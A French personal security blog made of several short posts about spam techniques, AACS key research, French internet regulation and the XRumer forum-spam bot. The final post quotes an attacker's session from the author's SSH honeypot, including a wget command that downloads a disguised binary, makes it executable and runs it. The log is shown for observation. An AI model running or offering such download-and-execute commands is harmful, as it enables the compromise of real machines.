devloop :: blog

Le retour...


C'est sûr qu'un fer à repasser dans le jean ne doit pas faire du bien...
Je me pose des questions sur les outils de traduction utilisés

Les techniques des spammeurs évoluent. Après les fautes d'orthographes intentionnelles, les images publicitaires, les images représentant une url vers un site publicitaire, ils se mettent à intégrer du texte trouvé sur Internet qui sera considéré valide par les filtres anti-spam.
Jusque là rien de bien nouveau. Ce qui est plus inquiétant c'est qu'ils commencent visiblement à personnaliser leurs pourriels en fonction du destinataire.

J'ai reçu deux spams dans ma boîte, chacun contenant des extraits de textes relatifs à la programmation, aux réseau ou à l'informatique en général.
En recherchant sur Google j'ai identifié un document sur TCP/IP, Les Versets Sataniques (pdf), des textes d'auteurs russes, un procès relatif à DeCSS ou encore le manuel de rar en ligne de commande...

A ce gloubi-boulga étrange est joint une image vantant les produits d'une pharmacie canadienne.

Ce qui est sûr c'est ce que mélange attire la curiosité. Je vous ait gardé quelques lignes pour le plaisir :

(...)
Will you guard my back. And the hCursor field gives us the cursor image that is used when the cursor is over the window we will create. Hopefully it will be up again soon. However, as the saying goes, there is no such thing as a free lunch.
(...)
The last thing I wanted was to be stuck on a vegetarian planet with some weird, hat-tipping people who didn't believe in money. This forces the data attribute of this file to be non-resident. If it hadn't been the middle of the night and no pen and paper handy, I would have done so right then. The four parts are combined in a notation called dotted quad, which means each 8-bit value is separated by a period.
(...)

Les bidouilleurs de chez Doom9 continuent leur analyse du standard de protection AACS. Dernièrement ATARI Vampire est parvenu à trouver une (sub) Device Key du logiciel WinDVD 8.
Au niveau algorithmique cette clé se situe juste avant la Processing Key. La découverte n'apporte rien de plus (en tout cas pour le moment) mais on peut saluer l'exploit technique.
Sur Slashdot, la nouvelle est discutée, ça parle entre autres du système de révocation de AACS et on se demande si les groupes derrière la protection vont bientôt mettre ce système en marche.

Pour mieux comprendre le fonctionnement de tout ça je vous invite à lire mon précédent billet sur AACS ou encore mieux une explication du standard par arnezami nommée Understanding AACS (including Subset-Difference).

J'aurais bien aimé lire cette doc, seulement je suis très occupé en ce moment. Il faut dire que je suis un peu seul dans les bureaux de l'entreprise où je bosse actuellement puisque 90% des employés sont en grève (vidéo France3) et réclament une hausse des salaires.
Etant en CDD, je ne participe pas à ce mouvement mais j'espère qu'une solution sera trouvée rapidemment qui puisse satisfaire tout le monde. Demain mes collègues vont débuter leur 4ième journée de protestation.

Et pendant ce temps là en France... le gouvernement travaille à nous fournir un Internet plus sûr censuré, commercial, et sous surveillance.

Reprenant deux propositions d'un groupe de travail sur la cybercriminalité, le Gouvernement a décidé de créer un pôle unique de signalement des sites à contenus illicites et un certificat de sûreté des contenus proposés sur la toile.
(...)
Annoncé par le Premier ministre lors du Comité interministériel sur la société de l'information (Cisi) du 11 juillet 2006, un "label citoyen" sera mis en place cette année pour certifier la sûreté des contenus. Il distinguera, parmi les fournisseurs d'accès à internet et de services en ligne, ceux qui s'engagent pour une plus grande sécurisation des usages.

Reste à savoir qui va décider ce qui est, ou non, un contenu illicite et quel sera exactement le rôle des FAI dans cette histoire (un bon gros filtrage liberticide comme en Chine ou la fermeture sauvage de sites Internet sans même prendre soin de prévenir leur propriétaire).
On tente alors de nous rassurer sur le côté démocratique de cette mise en cage de l'Internet français en ces termes :

Selon les recommandations faites en avril 2006 par le Forum des droits sur l'internet, une telle marque de confiance comporterait 70 engagements.

On suppose alors que le gouvernement s'est concerté avec le fameux Forum des droits sur l'internet afin de ne pas faire n'importe quoi...
On se rend alors sur le site du Forum des droits sur l'internet (un lien est présent depuis la page du gouvernement) et on télécharge l'"Avis du Forum des droits sur l'internet sur le projet de Commission nationale de déontologie des services de communication au public en ligne" au format PDF...

Mais l'avis du Forum est tout sauf rassurant comme l'explique ces permières lignes :

En premier lieu, les acteurs déplorent qu'une concertation ouverte à l'ensemble des acteurs marchands et non marchands n'ait pas eu lieu sur un texte de cette importance.

C'est beau la démocratie !

Le dossier du grouvernement continue sa plaidoirie en nous rappelant sa lutte contre le spam et la mise en place de la plateforme signal-spam.
J'en avais parlé à son lancement. On nous avais fait différentes promesses, notamment la possibilité de signaler du spam. Cette fonctionnalité aurait dû être disponible durant le dernier trimestre de l'année précédente mais rien n'a été fait.
D'ailleurs on peut toujours lire sur la page : "Le site Signal Spam permettra bientôt aux utilisateurs enregistrés de signaler des messages de spam".. "Bientôt" ça fait une, deux ou trois années ?
Sans compter le blog en silence radio depuis le 14 Septembre 2006

Mais ce qui fait le plus peur dans cette page c'est sans doute l'information suivante :

Parallèlement, le Réseau national de télécommunications pour la technologie, l’enseignement et la recherche (Renater), qui relie un grand nombre d’organismes français, a pour mission d’assurer en toutes circonstances la sécurité du réseau, notamment lors de la mise en œuvre des plans anti-terroristes.

C'est pour dire dans qu'elle merde on est ! Certes le CERT-Renater se tiens informé des dernières failles de sécurité mais nous fait aussi part des intrusions hebdomadaires dont il est victime (voir les STAT) et pour un réseau censé nous protéger des attaques terroristes ce n'est pas très rassurant

De toute façon on s'en fout, après tout nos centrales nucléaires sont encore moins bien protégées...

Le plus simple serais de ne pas relier les réseaux les plus sensibles à Internet. Ca éviterait par exemple de voir un pirate réussir à bloquer le réseau de distribution d'essence argentin par l'intrusion dans le S.I. du secrétariat à l'Energie du pays.

Mais personne ne semble s'intéresser à la protection de l'information, surtout pas les entreprises qui utiliseront la suite bureautique de Google, rendant leurs données accessibles à une multinationnale américaine.

Heureusement que les membres du projet Honeynet sont là pour nous rappeler les problèmes de sécurité concernant les applications web par le biais d'un document nommé Know your Enemy: Web Application Threats.
Certes rien de nouveau mais c'est un bon concentré des failles web existantes et ça parle aussi des honeypots PHP
On regrettera éventuellement l'absence d'un paragraphe sur les attaques par Cross-site Request Forgery (CSRF)

Il y a pas mal de temps maintenant, je vous avais parlé d'un générateur de splogs (voir Wikipedia: Splog) qui créait automatiquement des blogs sur la plateforme Blogger afin de faire de la pub pour tel ou tel logiciel/site Internet.

Dans un article tout frais de Brian Krebs, on nous apprend l'existence d'un logiciel baptisé "XRumer" qui permet de spammer des forums en masse.
Sur le site du vendeur de ce robot spammeur, on peut voir une vidéo Flash pour le moins impressionnante qui donne un apperçu des fonctionnalités de la bête.

Le cheminement utilisé par le logiciel est le suivant :

• Tout d'abord (étape non affichée dans la vidéo), XRumer fait appel à un outil du même créateur nommé "Hrefer". Ce dernier part à la recherche de forums par le biais de différents moteurs de recherche. Les forums recherchés sont principalement les plus utilisés (phpBB, IPB, VBulletin...)
  
• Par un seul click de bouton, un compte email est généré aléatoirement sur un service mail gratuit.
  
• Ensuite le robot se charge de s'inscrire sur chaque forum en fournissant l'adresse email générée auparavant.
  
• Afin de valider les inscriptions le robot va se logger sur la boite mail et ouvrir les liens de validation de compte envoyés par les forums.
  
• Dernière étape : le robot se connecte sur les forums et y poste un spam en nouveau topic.
  

La procédure suivie est pour le moins logique et c'était seulement une question de temps avant que ce type d'outil n'apparaisse. D'ailleurs certains cas laissent supposer que la technique était déjà étudiée depuis quelques temps.

Ce qui est plus génant c'est (il faut l'avouer) que le logiciel semble être particulièrement bien réalisé : on peut lancer jusqu'à 50 threads en parallèle pour augmenter la vitesse, utiliser des proxies... le logiciel parvient même à décoder les captchas !!
La page officiel du logiciel rassemble la liste de ses fonctionnalités

Comme quoi les protections contre le spam ne tiennent qu'à un captcha...

I don't want SPAM !!

C'est d'ailleurs pour cela que le blog est équipé en captcha, gri-gri et autres amulettes anti-spammeurs
Et ça marche (surtout le captcha) mais ça ne stoppe malheureusement les tentatives infructueuses (il va falloir que je change de sorcier).

En attendant les techniques évolues, ainsi ils utilisent un référant bidon correspondant à une recherche google fictive.
Mais c'est facilement détectable puisque :

• Par exemple je n'ai jamais publié une "image de chanbord" (avec la faute)
  
• Le spammeur utilise un proxy transparent (Dotclear mémorise sa véritable IP)
  
• Il utilise toujours le même proxy (donc blocable par htaccess ou autre)
  

Et puis je serais surpris qu'il existe des webapps laissant passer aveuglément tout visiteur venant soit disant d'un moteur de recherche... mais qui sait (c'est comme les chauves-souries enragées). Puis il y a de l'idée.

Sur mon honeypot ssh aussi ils semblent s'améliorer :

passwd
uname -a
ls
cd /tmp
ls
cd /var/tmp
ls
cd var
ls
id
is
su ftp
ftp
su
su root
bash -a
sh
wget
wget http://alam-batu.de/sig.bmp;chmod +x sig.bmp;./sig.bmp
cd /tmp

Celui-là semble avoir choisit l'exploit en fonction de la version du kernel (il y a de l'espoir, surtout pour un pirate roumain - priv8 j0k3) mais il n'est pas resté longtemps (trop limité Kojoney) :/